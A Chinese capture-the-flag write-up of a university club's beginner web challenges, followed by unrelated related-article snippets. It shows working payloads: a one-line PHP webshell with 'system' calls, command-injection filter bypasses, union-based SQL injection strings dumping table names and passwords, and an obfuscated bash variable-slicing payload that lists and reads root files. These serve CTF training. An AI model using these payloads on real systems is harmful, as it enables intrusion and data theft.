2024 SNERT 预备队招新 CTF 体验赛-Web

news2024/12/26 14:27:07

目录

 

1、robots

2、NOF12

3、get_post

4、好事慢磨

5、uploads

6、rce

7、ezsql

8、RCE


 

1、robots

b87634594d1b4a6ba0f60c69d1cbb996.png

robots 协议又叫爬虫协议,访问 robots.txt

f4d2b94903ed4c8296c6ca8f9c3ad030.png

继续访问 /JAY.php

f6f9d62f6b1449a0b390f2102b923ce8.png

拿到 flag:flag{hello_Do_YOU_KONw_JAY!}

 

2、NOF12

28b02c0df0ad4f0fa5337e10ed6527f7.png

F12 和右键都被禁用

77393a4f82c8404a949d10286dc38669.png

方法(1)

通过浏览器点击打开开发人员工具

8b2ddbd634ee495180c08b0072a713ae.png

源码里看到 flag:flag{wellcome_TO_CTF!!!}

0a39c687feef4407805739b0435e5670.png

方法(2)

提前打开 F12 

3e3949754e74412bbdffe5bcd4d76451.png

再访问进入题目地址

06c621e73b1849039a655b7c6f093c27.png

 

3、get_post

基本的 get 和 post 传参方式,payload:

?a=helloctf
post:b=666

93ece1f2b88b41dea7da300570c99f55.png

两次 base64 解码

4fcc4ff636e1485a96988b59ff2dd436.png

31ff1b985147453989c6855db3f242ef.png

拿到 flag:flag{hello!!!it_so_easy}

 

4、好事慢磨

aa81707a9ba044bba786c4571c2ef3b6.png

简单测试一下可以发现 flag 一共有 300 位

3ca13818c924465d85a1801c71e21248.png

F12 在源码里看到 post 请求参数名为 hacker

191f6896127941cfa0721a3df88ddf18.png

试一下,确实可以正常回显

d7540774482248059a405e90c7e2e5b6.png

用 python 写个脚本跑就可以了

exp:


# @author:Myon
# @time:20240828
import requests
import re

url = 'http://snert.net.cn:10001/'
out = ''
for i in range(300):
    payload = {'hacker': f'{i}'}
    # print(payload)
    res = requests.post(url, data=payload)
    # print(res.text)
    match = re.search(r':(.+)', res.text)  # 匹配冒号后面的所有字符
    out += match.group(1)
    print(out)

563582a01c9e4d9fa80dd30f290ac436.png

拿到 flag:

flag{pa2hpl-pkfwbv42tnvv-qeviypz7z4xorksoo95so-9uv3m5jxq5mbhm154wjl3068eo-3985u36ahbqj7my1d7bv2ld2avi63utr5n3vga6dlgfnxjy-jzzvine7hx6mtl668v2cp9z46zem696rnkvw174couqof1e7d82hwutf-cfwayhsyebppztvmrgmo7dl1qf-dewym0i4y4v8kvd1cn1v1oqlqxbeqz5t1mt2kburhafuivsz7khbvcum-xbne6rgi9losgjii-3bqou8l7j5zjm264h9z}
 

 

5、uploads

6edbe3b6b4234e6dad98a78b61a1229e.png

没有任何过滤,直接传一句话木马

873feff7b1db4715a9f144c324c3e4c6.png

调用,在上一层目录看到 flag.php

cmd=system('ls ../');

21d83adb46c049b9860ca9a4079a011f.png

读取:

cmd=system('tac ../f*');

54a0f447d1cc4720a978113647aed044.png

拿到 flag:flag{BDQLKdC6yDJ2DxphWzJrWDjQsHnHTZ3s}

 

6、rce

3708b12559874353898775d260a67366.png

代码审计: 

post 传入 a,如果传入的内容里面有 cat 或者 flag,都会被替换为空,之后输出替换后剩下的内容,再将其传给 system 函数作为参数进行调用,输出返回的结果。

先看一下当前目录下有什么:

a=ls

88cb89dc615d4a41a3541ef25355396a.png

有一个叫 flag.php 的东西,注意这里有点容易看错,我一开始看成了 lsflag.php,其实前面的 ls 是我们执行的命令被 echo 输出了,所有真正的文件名应该是 flag.php。

方法(1):换一个读取命令,不使用 cat,结合通配绕过

payload:

a=tac f*

8bbb609705fc4dc1a72d71020c23ed7b.png

拿到 flag:flag{TTBnmqQa3cX0Hg6D522Y2Y7Pn3PZtog4}

当然还有很多其他的命令可以用,比如反向输出,问号进行通配等:

a=rev fla?.???

4fd787517a184fbcb1ae5cfedfa00d5b.png

方法(2):双写绕过

a=cacatt flaflagg.php

替换掉其中的 cat 和 flag 剩下的就是 cat flag.php 

f292eadee1894b71be02bc3b5256b49d.png

查看源代码即可看到 flag

f81019d0eac145de9ca87220338fafad.png

 

7、ezsql

729a4c952db64ee9a99c69fc91a87f7e.png

查询 Alex

返回 ID: 1 - Name: Alex - Password: Alex_123 

b7766ad2b9a7416987add3cb680ef7ab.png 

如果你查我的名字其实可以得到一个小提示

c3bf0ecc7c164b3f9874b52c8dd9053e.png

就是没有任何过滤的 sql 注入,关于 sqlmap 跑的我就不演示了,下面简单说一下手动注入的流程。

输入单引号报错:如果是萌新会很不理解为什么要这样为什么会报错,正如我提示里面所说,先去了解 sql 注入的原理吧。

07c6251273194f26907f7770f432d676.png

使用 # 注释掉后面内容,闭合成功

85644c695e3947cd8a61911a19c69083.png

由前面 Alex 的查询结果回显可以推断字段数为 3

直接查数据库下的所有表名: 

' union select 1,2,table_name from information_schema.tables where table_schema=database()#

6567c772e2ba483f83974cbd2c5f1cb2.png

可以看到存在一个名为 googthings 的表,查该表下的列名:

' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='goodthings'#

列名也是 username 和 password 

61fff9bc92bf4ed0abfb8a113246eca8.png

正如一开始题目所说,密码里面藏着东西,那么这里其实都不用查列名,直接查 goodthings

这个表下面的 password 列的内容即可:

' union select 1,2,password from goodthings #

bd26c77c85ac42b785a6bb534031bba5.png

拿到 flag:flag{war6m9-gyn6rl6q8ik1qp-pe4eqttoos7tl6o-dvxm9jmt3pk}

 

8、RCE

9859de8315d54300950a9217b232ca45.png

限制死了只能使用这些字符:{(FAST:HIP)}$~

出这道题的想法来源于我之前刷到过的两个题,一个是 Linux 内置环境变量

参考我之前的博客:

ctfshow-web入门-命令执行(web118详解)Linux 内置变量与Bash切片_web 118 ctfshow-CSDN博客https://blog.csdn.net/Myon5/article/details/140145005

光有 Linux 内置环境变量还不够,我们还需要用到切片操作,因此还需要构造数字,同样参考我之前的博客:web57

ctfshow-web入门-命令执行(web56、web57、web58)_ctfshow web57-CSDN博客https://blog.csdn.net/Myon5/article/details/139746224

这里我们利用上述字符可以构造出 $PATH

这个东西的前面部分基本上都是一样的:

827618c796864ed79a3532bd5d8456f1.png

1089283ffb824b4ba8bfc21499101ee6.png

cac80c7146784b1d8a79014bf60b72c6.png

9d1c02c276e54061a52099812563f27d.png 即:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 

所以这里默认这部分是我们已知的,我们利用切片操作就可以构造出 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 里面的任意一个字符,进而我们就可以继续构造 ls、nl 等命令,空格我们使用 ${IFS} 代替。

详细看完我前两篇博客所说的内容,你就会真正理解 payload 是如何构造的。

构造 payload 读取根目录下面的文件:

ls /

即 

嘻嘻嘻=${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${IFS}${PATH:$(()):$((~$(($((~$(())))$((~$(())))))))}

b52a395b2023435dab7952132d3c1865.png

未见 flag 文件,但是存在一个名为 burn 的文件,这个文件名在根目录下是不常见的,结合 php 源码勇师傅有注释说:# flag被我烧掉了,burn 就是燃烧的意思。

构造 payload 读取这个文件:

nl /burn

即 

嘻嘻嘻=${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${IFS}${PATH:$(()):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}

3ce1189b9e8b434fab3356f3447835f9.png

拿到 flag:flag{r18s4bcp-ctvmmijn6a2g7-pnbrwudl}

 

这个题算是勇师傅最后弄的一个压轴题吧,不压一下第一天上午 web 就全穿了,除了这道,这次的 web 题都出的非常简单和基础,最后,期待大一大二的加入 SNERT 学习!

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2156209.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Linux]用户管理指令

开机/重启/登录/注销 进入xhsell 或者虚拟系统中, 右键桌面打开终端, 在终端执行命令, 重启或关机linux系统 建议使用普通账号登录, 如果权限不够时, 使用 su - 用户名 命令切换到超管, 然后再使用 logout命令退回到普通账号, logout 不能在图形界面的终端中使用 用户管理 Li…

Python画笔案例-058 绘制单击画酷炫彩盘

1、绘制单击画酷炫彩盘 通过 python 的turtle 库绘制 单击画酷炫彩盘,如下图: 2、实现代码 绘制单击画酷炫彩盘,以下为实现代码: """单击画酷炫彩盘.py"""from turtle import Turtle # 导入海龟类 from random import randint…

电子设计入门教程硬件篇之三极管BJT(四)

前言:本文为手把手教学的电子设计入门教程硬件类的博客,该博客侧重针对电子设计中的硬件电路进行介绍。本篇博客将根据电子设计实战中核心器件之一的三极管进行详细讲解,包含:PNP型与NPN型三极管。电子设计实践中的三极管是嵌入式…

心理教育辅导系统:Spring Boot技术实现

4 系统设计 4.1系统概要设计 高校心理教育辅导系统主要分为管理员、教师和学生三个角色,系统采用B/S结构(Browser/Server,浏览器/服务器结构)和基于Web服务两种模式,是一个适用于Internet环境下的模型结构。只要用户能连上Internet,便可以在任…

xhs 小红书 x-s web 分析

声明: 本文章中所有内容仅供学习交流使用,不用于其他任何目的,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关! 有相关问题请第一时间头像私信联系我…

TryHackMe 第3天 | Pre Security (二)

该学习路径讲解了网络安全入门的必备技术知识,比如计算机网络、网络协议、Linux命令、Windows设置等内容。上一篇中简短介绍了计算机网络相关的知识,本篇博客将记录 网络协议 部分。 How the web works? DNS in detail DNS (Domain name system&…

19 基于51单片机的倒计时音乐播放系统设计

目录 一、主要功能 二、硬件资源 三、程序编程 四、实现现象 一、主要功能 五个按键,分别为启动按键,则LCD1602显示倒计时,音乐播放 设置按键,可以设置倒计时的分秒,然后加减按键,还有最后一个暂停音乐…

基于 Web 的工业设备监测系统:非功能性需求与标准化数据访问机制的架构设计

目录 案例 【说明】 【问题 1】(6 分) 【问题 2】(14 分) 【问题 3】(5 分) 【答案】 【问题 1】解析 【问题 2】解析 【问题 3】解析 相关推荐 案例 阅读以下关于 Web 系统架构设计的叙述,回答问题 1 至问题 3 。 【说明】 某公司拟开发一款基于 Web 的…

BERT的代码实现

目录 1.BERT的理论 2.代码实现 2.1构建输入数据格式 2.2定义BERT编码器的类 2.3BERT的两个任务 2.3.1任务一:Masked Language Modeling MLM掩蔽语言模型任务 2.3.2 任务二:next sentence prediction 3.整合代码 4.知识点个人理解 1.BERT的理论 B…

代码随想录算法训练营第58天|卡码网 117. 软件构建、47. 参加科学大会

1. 卡码网 117. 软件构建 题目链接:https://kamacoder.com/problempage.php?pid1191 文章链接:https://www.programmercarl.com/kamacoder/0117.软件构建.html 思路:使用BFS BFS的实现思路: 拓扑排序的过程,其实就两步…

Java : 图书管理系统

图书管理系统的作用: 高效的图书管理 图书管理系统通过自动化管理,实现了图书的采编、编目、流通管理等操作的自动化处理,大大提高了图书管理的效率和准确性。 工作人员可以通过系统快速查找图书信息,实时掌握图书的借还情况&…

经典报童问题的2类扩展实例:带广告的报童问题和多产品报童问题

文章目录 1 引言2 经典报童问题3 带广告的报童问题3.1 论文解读3.2 样本均值近似方法 4 多产品报童问题4.1 论文解读4.2 算法模型4.3 简单实例求解4.4 复杂实例求解 5 总结6 相关阅读 1 引言 中秋已过,国庆未至,趁着这个空窗期,学点新知识&a…

解决DockerDesktop启动redis后采用PowerShell终端操作

如图: 在启动redis容器后,会计入以下界面 : 在进入执行界面后如图: 是否会觉得界面过于单调,于是想到使用PowerShell来操作。 步骤如下: 这样就能使用PowerShell愉快地敲命令了(颜值是第一生…

AttributeError: ‘Sequential‘ object has no attribute ‘predict_classes‘如何解决

今天跟着书敲代码,报错: Sequential object has no attribute predict_classes,如图所示: 上网百度,发现predict_classes函数在新版本中已经删除了,需要使用 model.predict() 替代 model.predict_classes()…

【java面经速记】Mysql和ES数据同步

目录 Mysql业务数据库 ES查询数据库 数据同步方案 同步双写 异步双写(MQ方式) 基于Mysql的定时扫描同步 基于Binlog实时同步 使用canal监听binlog同步数据到es(流行方案) 拓展:mysql的主从复制原理 canal原理&#xff1a…

Via浏览器自动关闭CSDN弹窗

不知道大家有没有突发灵感迫切需要在手机上搜索一些技术性博客的时候。 不知道大家是不是搜索到的基本都是CSDN的文章。 不知道大家是否也被CSDN各种弹窗确认搞得心态爆炸。 不知道大家现在在手机上用的是什么浏览器,一直以来,我用的都是夸克&#xf…

时钟的配置

在使用51单片机时,系统使用的时钟源是一个外部晶体振荡器,频率为12M。由于51单片机每个指令周期都是12分频的,所以实际工作频率仅为1M。2440作为一种性能远高于51的Soc,主频肯定要远远高于51,因此2440有着比51单片机复…

【Android】DataBinding的运用

引言 之前对databinding有了基础的运用与介绍,但databinding的用处不单单在于Text的绑定,接下来就一起看看吧! 意义:让布局文件承担了部分原本属于页面的工作,使页面与布局耦合度进一步降低。允许用户界面&#xff0…

Maven-一、分模块开发

Maven进阶 文章目录 Maven进阶前言创建新模块向新模块装入内容使用新模块把模块部署到本地仓库补充总结 前言 分模块开发可以把一个完整项目中的不同功能分为不同模块管理,然后模块间可以相互调用,该篇以一个SSM项目为目标展示如何使用maven分模块管理。…

操作系统之I/O设备管理

I/O系统的组成 I/O系统的结构 微机I/O系统 总线型I/O系统结构,CPU与内存之间可以直接进行信息交换,但是不能与设备直接进行信息交换,必须经过设备控制器。 主机I/O系统 I/O系统可能采用四级结构,包括主机、通道、控制器和设备。一个通道…